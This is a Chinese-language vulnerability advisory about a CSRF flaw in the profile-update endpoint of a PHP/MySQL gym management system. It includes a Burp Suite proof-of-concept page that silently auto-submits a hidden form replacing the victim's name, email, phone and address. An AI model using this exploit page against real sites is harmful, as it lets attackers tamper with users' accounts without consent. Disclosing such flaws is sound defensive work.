一个使用 PHP 和 MySQL 构建的健身房管理系统。
Shoaib Alam - 领英主页
在健身房管理系统中发现了一个跨站请求伪造(CSRF)漏洞。该问题存在于用户面板的个人资料更新功能中。
该应用程序目前缺少 Anti-CSRF 令牌的实现,因此容易受到跨站请求伪造(CSRF)攻击。此安全弱点特别影响 /profile.php 端点。攻击者可以利用此缺陷对敏感用户信息(如地址、姓名和电话号码)执行未经授权的修改。这可能危及用户帐户的完整性,并导致进一步的安全问题。
易受攻击的端点: /profile.php
以下是演示 CSRF 漏洞的概念验证。此 PoC 是使用 Burp Suite Professional 生成的。
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/gym/profile.php" method="POST">
<input type="hidden" name="fname" value="hacked" />
<input type="hidden" name="lname" value="victim" />
<input type="hidden" name="email" value="attacker@gmail.com" />
<input type="hidden" name="mobile" value="9999999999" />
<input type="hidden" name="state" value="hacked" />
<input type="hidden" name="city" value="hacked" />
<input type="hidden" name="address" value="hacked" />
<input type="hidden" name="submit" value="Update" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>